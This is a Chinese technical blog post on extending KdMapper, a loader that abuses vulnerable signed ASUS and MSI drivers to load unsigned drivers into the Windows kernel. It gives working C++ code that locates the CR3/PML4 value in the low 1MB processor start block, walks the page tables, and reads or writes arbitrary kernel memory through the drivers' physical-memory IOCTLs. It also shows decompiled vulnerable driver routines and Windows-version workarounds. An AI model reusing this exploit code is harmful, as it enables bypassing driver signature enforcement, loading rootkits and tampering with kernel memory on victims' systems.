KdMapper扩展实现之虚拟地址转物理地址
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能时遇到的问题,需要大家对KdMapper的代码有一定了解。
在《【转载】利用签名驱动漏洞加载未签名驱动》中有很多利用MmMapIoSpace和ZwMapViewOfSection将物理内存映射后进行内存数据读写的情况,一般情况下需要先将虚拟地址转换为物理地址,内核中使用MmGetPhysicalAddress即可。但有发现大多数的漏洞驱动并没有MmGetPhysicalAddress的利用。这样以来就需要使用其它办法从虚拟地址转换为物理地址。
本文采用的方法取自另一款内核映射器开源项目 KDU,项目地址https://github.com/hfiref0x/KDU。
2.关键代码
从虚拟地址转换为物理地址,直接上关键代码:
结构定义:
#pragma pack(push,2)
typedef struct _FAR_JMP_16 {
UCHAR OpCode; // = 0xe9
USHORT Offset;
} FAR_JMP_16;
typedef struct _FAR_TARGET_32 {
ULONG Offset;
USHORT Selector;
} FAR_TARGET_32;
typedef struct _PSEUDO_DESCRIPTOR_32 {
USHORT Limit;
ULONG Base;
} PSEUDO_DESCRIPTOR_32;
#pragma pack(pop)
typedef union _KGDTENTRY64 {
struct {
USHORT LimitLow;
USHORT BaseLow;
union {
struct {
UCHAR BaseMiddle;
UCHAR Flags1;
UCHAR Flags2;
UCHAR BaseHigh;
} Bytes;
struct {
ULONG BaseMiddle : 8;
ULONG Type : 5;
ULONG Dpl : 2;
ULONG Present : 1;
ULONG LimitHigh : 4;
ULONG System : 1;
ULONG LongMode : 1;
ULONG DefaultBig : 1;
ULONG Granularity : 1;
ULONG BaseHigh : 8;
} Bits;
};
ULONG BaseUpper;
ULONG MustBeZero;
};
ULONG64 Alignment;
} KGDTENTRY64, * PKGDTENTRY64;
typedef union _KIDTENTRY64 {
struct {
USHORT OffsetLow;
USHORT Selector;
USHORT IstIndex : 3;
USHORT Reserved0 : 5;
USHORT Type : 5;
USHORT Dpl : 2;
USHORT Present : 1;
USHORT OffsetMiddle;
ULONG OffsetHigh;
ULONG Reserved1;
};
ULONG64 Alignment;
} KIDTENTRY64, * PKIDTENTRY64;
typedef union _KGDT_BASE {
struct {
USHORT BaseLow;
UCHAR BaseMiddle;
UCHAR BaseHigh;
ULONG BaseUpper;
};
ULONG64 Base;
} KGDT_BASE, * PKGDT_BASE;
typedef union _KGDT_LIMIT {
struct {
USHORT LimitLow;
USHORT LimitHigh : 4;
USHORT MustBeZero : 12;
};
ULONG Limit;
} KGDT_LIMIT, * PKGDT_LIMIT;
#define PSB_GDT32_MAX 3
typedef struct _KDESCRIPTOR {
USHORT Pad[3];
USHORT Limit;
PVOID Base;
} KDESCRIPTOR, * PKDESCRIPTOR;
typedef struct _KDESCRIPTOR32 {
USHORT Pad[3];
USHORT Limit;
ULONG Base;
} KDESCRIPTOR32, * PKDESCRIPTOR32;
typedef struct _KSPECIAL_REGISTERS {
ULONG64 Cr0;
ULONG64 Cr2;
ULONG64 Cr3;
ULONG64 Cr4;
ULONG64 KernelDr0;
ULONG64 KernelDr1;
ULONG64 KernelDr2;
ULONG64 KernelDr3;
ULONG64 KernelDr6;
ULONG64 KernelDr7;
KDESCRIPTOR Gdtr;
KDESCRIPTOR Idtr;
USHORT Tr;
USHORT Ldtr;
ULONG MxCsr;
ULONG64 DebugControl;
ULONG64 LastBranchToRip;
ULONG64 LastBranchFromRip;
ULONG64 LastExceptionToRip;
ULONG64 LastExceptionFromRip;
ULONG64 Cr8;
ULONG64 MsrGsBase;
ULONG64 MsrGsSwap;
ULONG64 MsrStar;
ULONG64 MsrLStar;
ULONG64 MsrCStar;
ULONG64 MsrSyscallMask;
} KSPECIAL_REGISTERS, * PKSPECIAL_REGISTERS;
typedef struct _KPROCESSOR_STATE {
KSPECIAL_REGISTERS SpecialRegisters;
CONTEXT ContextFrame;
} KPROCESSOR_STATE, * PKPROCESSOR_STATE;
typedef struct _PROCESSOR_START_BLOCK* PPROCESSOR_START_BLOCK;
typedef struct _PROCESSOR_START_BLOCK {
FAR_JMP_16 Jmp;
ULONG CompletionFlag;
PSEUDO_DESCRIPTOR_32 Gdt32;
PSEUDO_DESCRIPTOR_32 Idt32;
KGDTENTRY64 Gdt[PSB_GDT32_MAX + 1];
ULONG64 TiledCr3;
FAR_TARGET_32 PmTarget;
FAR_TARGET_32 LmIdentityTarget;
PVOID LmTarget;
PPROCESSOR_START_BLOCK SelfMap;
ULONG64 MsrPat;
ULONG64 MsrEFER;
KPROCESSOR_STATE ProcessorState;
} PROCESSOR_START_BLOCK;
#ifndef FIELD_OFFSET
#define FIELD_OFFSET(type, field) ((LONG)(LONG_PTR)&(((type *)0)->field))
#define UFIELD_OFFSET(type, field) ((ULONG)(LONG_PTR)&(((type *)0)->field))
#endif
int asus_driver::PwEntryToPhyAddr(ULONG_PTR entry, ULONG_PTR* phyaddr)
{
if (entry & ENTRY_PRESENT_BIT) {
*phyaddr = entry & PHY_ADDRESS_MASK;
return 1;
}
return 0;
}
ULONG_PTR asus_driver::SuperGetPML4FromLowStub1M(
_In_ ULONG_PTR pbLowStub1M)
{
ULONG offset = 0;
ULONG_PTR PML4 = 0;
ULONG cr3_offset = FIELD_OFFSET(PROCESSOR_START_BLOCK, ProcessorState) +
FIELD_OFFSET(KSPECIAL_REGISTERS, Cr3);
SetLastError(ERROR_EXCEPTION_IN_SERVICE);
__try {
while (offset < 0x100000) {
offset += 0x1000;
if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmp
continue;
if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64*)(pbLowStub1M + offset + FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget))))
continue;
if (0xffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))
continue;
PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Log(L"[!] Error SuperGetPML4FromLowStub1M Exception!" << std::endl);
return 0;
}
SetLastError(ERROR_SUCCESS);
return PML4;
}
PVOID asus_driver::SuperMapMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ ULONG NumberOfBytes
)
{
ULONG_PTR offset;
ULONG mapSize;
ASMMAP64_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
offset = PhysicalAddress & ~(PAGE_SIZE - 1);
mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;
request.PhysicalAddress.QuadPart = PhysicalAddress;
request.MappedLengthOut = mapSize;
request.MappedLengthIn = mapSize;
request.MappedBaseAddress = NULL;
if (SuperCallDriver(DeviceHandle,
IOCTL_ASMMAP64_MAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request)))
{
/*Log(L"[!] SuperMapMemory, Address:0x" << std::setbase(16) << request.MappedBaseAddress << std::endl);*/
return request.MappedBaseAddress;
}
return NULL;
}
VOID asus_driver::SuperUnmapMemory(
_In_ HANDLE DeviceHandle,
_In_ PVOID SectionToUnmap
)
{
ASMMAP64_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
request.MappedBaseAddress = SectionToUnmap;
SuperCallDriver(DeviceHandle,
IOCTL_ASMMAP64_UNMAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));
}
BOOL WINAPI asus_driver::SuperQueryPML4Value(
_In_ HANDLE DeviceHandle,
_Out_ ULONG_PTR* Value)
{
ULONG_PTR pbLowStub1M = 0ULL, PML4 = 0;
DWORD cbRead = 0x100000;
*Value = 0;
SetLastError(ERROR_SUCCESS);
pbLowStub1M = (ULONG_PTR)SuperMapMemory(DeviceHandle,
0ULL,
cbRead);
if (pbLowStub1M) {
PML4 = SuperGetPML4FromLowStub1M(pbLowStub1M);
if (PML4)
*Value = PML4;
SuperUnmapMemory(DeviceHandle,
(PVOID)pbLowStub1M);
}
return (PML4 != 0);
}
BOOL asus_driver::PwVirtualToPhysical(
_In_ HANDLE DeviceHandle,
_In_ ProvQueryPML4 QueryPML4Routine,
_In_ ProvReadPhysicalMemory ReadPhysicalMemoryRoutine,
_In_ ULONG_PTR VirtualAddress,
_Out_ ULONG_PTR* PhysicalAddress)
{
ULONG_PTR pml4_cr3, selector, table, entry = 0;
INT r, shift;
*PhysicalAddress = 0;
if (QueryPML4Routine(DeviceHandle, &pml4_cr3) == 0) {
SetLastError(ERROR_DEVICE_HARDWARE_ERROR);
return 0;
}
table = pml4_cr3 & PHY_ADDRESS_MASK;
for (r = 0; r < 4; r++) {
shift = 39 - (r * 9);
selector = (VirtualAddress >> shift) & 0x1ff;
if (ReadPhysicalMemoryRoutine(DeviceHandle,
table + selector * 8,
&entry,
sizeof(ULONG_PTR)) == 0)
{
//
// Last error set by called routine.
//
return 0;
}
if (PwEntryToPhyAddr(entry, &table) == 0) {
SetLastError(ERROR_INVALID_ADDRESS);
return 0;
}
if (entry & ENTRY_PAGE_SIZE_BIT)
{
if (r == 1) {
table &= PHY_ADDRESS_MASK_1GB_PAGES;
table += VirtualAddress & VADDR_ADDRESS_MASK_1GB_PAGES;
*PhysicalAddress = table;
return 1;
}
if (r == 2) {
table &= PHY_ADDRESS_MASK_2MB_PAGES;
table += VirtualAddress & VADDR_ADDRESS_MASK_2MB_PAGES;
*PhysicalAddress = table;
return 1;
}
}
}
table += VirtualAddress & VADDR_ADDRESS_MASK_4KB_PAGES;
*PhysicalAddress = table;
return 1;
}
BOOL WINAPI asus_driver::SuperVirtualToPhysical(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR VirtualAddress,
_Out_ ULONG_PTR* PhysicalAddress)
{
return PwVirtualToPhysical(DeviceHandle,
SuperQueryPML4Value,
SuperReadPhysicalMemory,
VirtualAddress,
PhysicalAddress);
}
BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PVOID mappedSection = NULL;
ULONG_PTR offset;
//
// Map physical memory section.
//
mappedSection = SuperMapMemory(DeviceHandle,
PhysicalAddress,
NumberOfBytes);
if (mappedSection) {
offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));
__try {
if (DoWrite) {
RtlCopyMemory(mappedSection/*RtlOffsetToPointer(mappedSection, offset)*/, Buffer, NumberOfBytes);
}
else {
RtlCopyMemory(Buffer, mappedSection /*RtlOffsetToPointer(mappedSection, offset)*/, NumberOfBytes);
}
bResult = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
}
//
// Unmap physical memory section.
//
SuperUnmapMemory(DeviceHandle,
mappedSection);
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
/*
* AtszioReadKernelVirtualMemory
*
* Purpose:
*
* Read virtual memory via ATSZIO.
*
*/
BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
其中SuperUnmapMemory和SuperMapMemory即为利用漏洞来读取物理内存的函数,具体不同的漏洞驱动有不同的实现。
上边的代码中读取物理内存的漏洞实现是驱动利用ZwMapViewOfSection映射\\Device\\PhysicalMemory来实现的,且在驱动里的映射减去了 SectionOffset,漏洞驱动的IDA逆向代码如下:
__int64 __fastcall MapPhysicalMemory(__int64 pDeviceExtension, IRP *pIrp, _IO_STACK_LOCATION *pIosp)
{
......
RtlInitUnicodeString(v23, L"\\Device\\PhysicalMemory");
ObjectAttributes.ObjectName = v23;
ObjectAttributes.Length = 48;
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.Attributes = 64;
ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.SecurityQualityOfService = 0i64;
ZwOpenSection(&SectionHandle, 0xF001Fu, &ObjectAttributes);
if ( ObReferenceObjectByHandle(SectionHandle, 0xF001Fu, 0i64, 0, &Object, 0i64) >= 0 )
{
......
v11 = ZwMapViewOfSection(
SectionHandle,
(HANDLE)0xFFFFFFFFFFFFFFFFi64,
&BaseAddress,
0i64,
BusAddress.QuadPart,
&SectionOffset,
(PSIZE_T)&BusAddress.QuadPart,
ViewShare,
0,
0x204u);
......
BaseAddress = (char *)BaseAddress + TranslatedAddress.QuadPart - SectionOffset.QuadPart; //这里地址减去了SectionOffset
LODWORD(pPhysicalMomoryInfo->MappedBaseAddress) = (_DWORD)BaseAddress;
v12 = LODWORD(pPhysicalMomoryInfo->MappedBaseAddress);
v13 = HIDWORD(BaseAddress);
HIDWORD(pPhysicalMomoryInfo->MappedBaseAddress) = HIDWORD(BaseAddress);
}
......
}
在上述代码的27行可以看出地址减去了 SectionOffset。
还有一种情况是驱动里的映射没有减去 SectionOffset,漏洞驱动的IDA逆向代码如下:
NTSTATUS __fastcall MapPhysicalMemory(union _LARGE_INTEGER Offset, unsigned int nSize, PVOID *pAddressMapped, void **hSection)
{
ULONG_PTR nSizeMapped; // rbx
NTSTATUS result; // eax
SIZE_T v9; // r15
NTSTATUS ntStatus; // eax
void *hSectionMapped; // rcx
NTSTATUS ntStatusReturn; // ebx
NTSTATUS ntStatusMap; // ebx
union _LARGE_INTEGER SectionOffset; // [rsp+58h] [rbp-39h] BYREF
ULONG_PTR ViewSize; // [rsp+60h] [rbp-31h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+68h] [rbp-29h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+98h] [rbp+7h] BYREF
PVOID Object; // [rsp+A8h] [rbp+17h] BYREF
PVOID BaseAddress; // [rsp+F8h] [rbp+67h] BYREF
nSizeMapped = nSize;
RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.SecurityQualityOfService = 0i64;
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.Length = 48;
ObjectAttributes.Attributes = 512;
result = ZwOpenSection(hSection, 7u, &ObjectAttributes);
BaseAddress = 0i64;
v9 = (unsigned int)nSizeMapped;
ViewSize = nSizeMapped;
SectionOffset = Offset;
if ( result >= 0 )
{
ntStatus = ObReferenceObjectByHandle(*hSection, 7u, 0i64, 0, &Object, 0i64);
hSectionMapped = *hSection;
ntStatusReturn = ntStatus;
if ( ntStatus >= 0 )
{
ntStatusMap = ZwMapViewOfSection(
hSectionMapped,
(HANDLE)0xFFFFFFFFFFFFFFFFi64,
&BaseAddress,
0i64,
v9,
&SectionOffset,
&ViewSize,
ViewShare,
0,
4u);
ZwClose(*hSection);
result = ntStatusMap;
*pAddressMapped = BaseAddress;
return result;
}
ZwClose(hSectionMapped);
result = ntStatusReturn;
}
*pAddressMapped = 0i64;
return result;
}
可以看到返回的地址直接使用的ZwMapViewOfSection映射返回的地址,这种情况,我们的虚拟地址转物理地址的逻辑就要进行相应的修改。
代码如下
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PVOID mappedSection = NULL;
ULONG_PTR offset;
HANDLE sectionHandle = NULL;
//
// Map physical memory section.
//
mappedSection = SuperMapMemory(DeviceHandle,
PhysicalAddress,
NumberOfBytes,
§ionHandle);
if (mappedSection) {
offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));
__try {
if (DoWrite) {
RtlCopyMemory(RtlOffsetToPointer(mappedSection, offset), Buffer, NumberOfBytes);
}
else {
RtlCopyMemory(Buffer, RtlOffsetToPointer(mappedSection, offset), NumberOfBytes);
}
bResult = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
}
//
// Unmap physical memory section.
//
SuperUnmapMemory(DeviceHandle,
mappedSection,
sectionHandle);
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
3.使用MmMapIoSpace读写物理内存
有的漏洞驱动读写物理内存是用的MmMapIoSpace,则相应的实现逻辑需要变更,代码如下:
BOOL WINAPI microstar_driver::SuperQueryPML4Value(
_In_ HANDLE DeviceHandle,
_Out_ ULONG_PTR* Value)
{
PVOID pbLowStub1M = 0ULL, PML4 = 0;
DWORD cbRead = 0x100000;
PHYSICAL_ADDRESS address;
address.QuadPart = 0;
*Value = 0;
//pbLowStub1M = (ULONG_PTR)SuperMapMemory(DeviceHandle,
// 0ULL,
// cbRead);
//原来是直接映射1M内存,但在Win10以上系统 MmMapIoSpace在读取到PTE地址时就会失败蓝屏,而在Win7上读取0x3000时失败
// 完整读取1M地址会失败,但不会蓝屏;
pbLowStub1M = malloc(0x1000);
do
{
RtlZeroMemory(pbLowStub1M, 0x1000);
if (address.QuadPart == 0x3000)
{
//address.QuadPart += 0x1000;
}
if (SuperReadPhysicalMemory(DeviceHandle, address.QuadPart, pbLowStub1M, 0x1000))
{
PML4 = (PVOID)SuperGetPML4FromLowStub1M((ULONG_PTR)pbLowStub1M);
if (PML4)
{
*Value = (ULONG_PTR)PML4;
//Log(L"[!] PML4 Value is 0x" << std::setbase(16) << PML4 << std::endl);
break;
}
}
else
{
Log(L"[!] Error SuperReadPhysicalMemory Exception!" << std::endl);
}
address.QuadPart += 0x1000;
} while (address.QuadPart < cbRead);
SetLastError(ERROR_SUCCESS);
return (PML4 != 0);
}
ULONG_PTR microstar_driver::SuperGetPML4FromLowStub1M(
_In_ ULONG_PTR pbLowStub1M)
{
ULONG offset = 0;
ULONG_PTR PML4 = 0;
ULONG cr3_offset = FIELD_OFFSET(PROCESSOR_START_BLOCK, ProcessorState) +
FIELD_OFFSET(KSPECIAL_REGISTERS, Cr3);
SetLastError(ERROR_EXCEPTION_IN_SERVICE);
__try {
/*while (offset < 0x100000) {
offset += 0x1000;*/
if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmp
return NULL;
if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64*)(pbLowStub1M + offset + FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget))))
return NULL;
if (0xffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))
return NULL;
PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);
/* }*/
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Log(L"[!] Error SuperGetPML4FromLowStub1M Exception!" << std::endl);
return 0;
}
SetLastError(ERROR_SUCCESS);
return PML4;
}
在漏洞利用驱动使用MmMapIoSapce时,由于虚拟地址转物理地址的逻辑实现,要遍历从0到0x100000的物理地址空间来进行虚拟地址的转换,在Win10以上的环境下,在这个过程中会读取到PTE地址所在的物理内存,从而引发BSOD,而在Win7上不引发BSOD,但经过测试,在读取0x3000的时候会失败。
所以在使用 MmMapIoSpace 的漏洞驱动时,只能在Win7环境下使用,且每次读取一个页面,即0x1000大小,同时跳过0x3000的地址。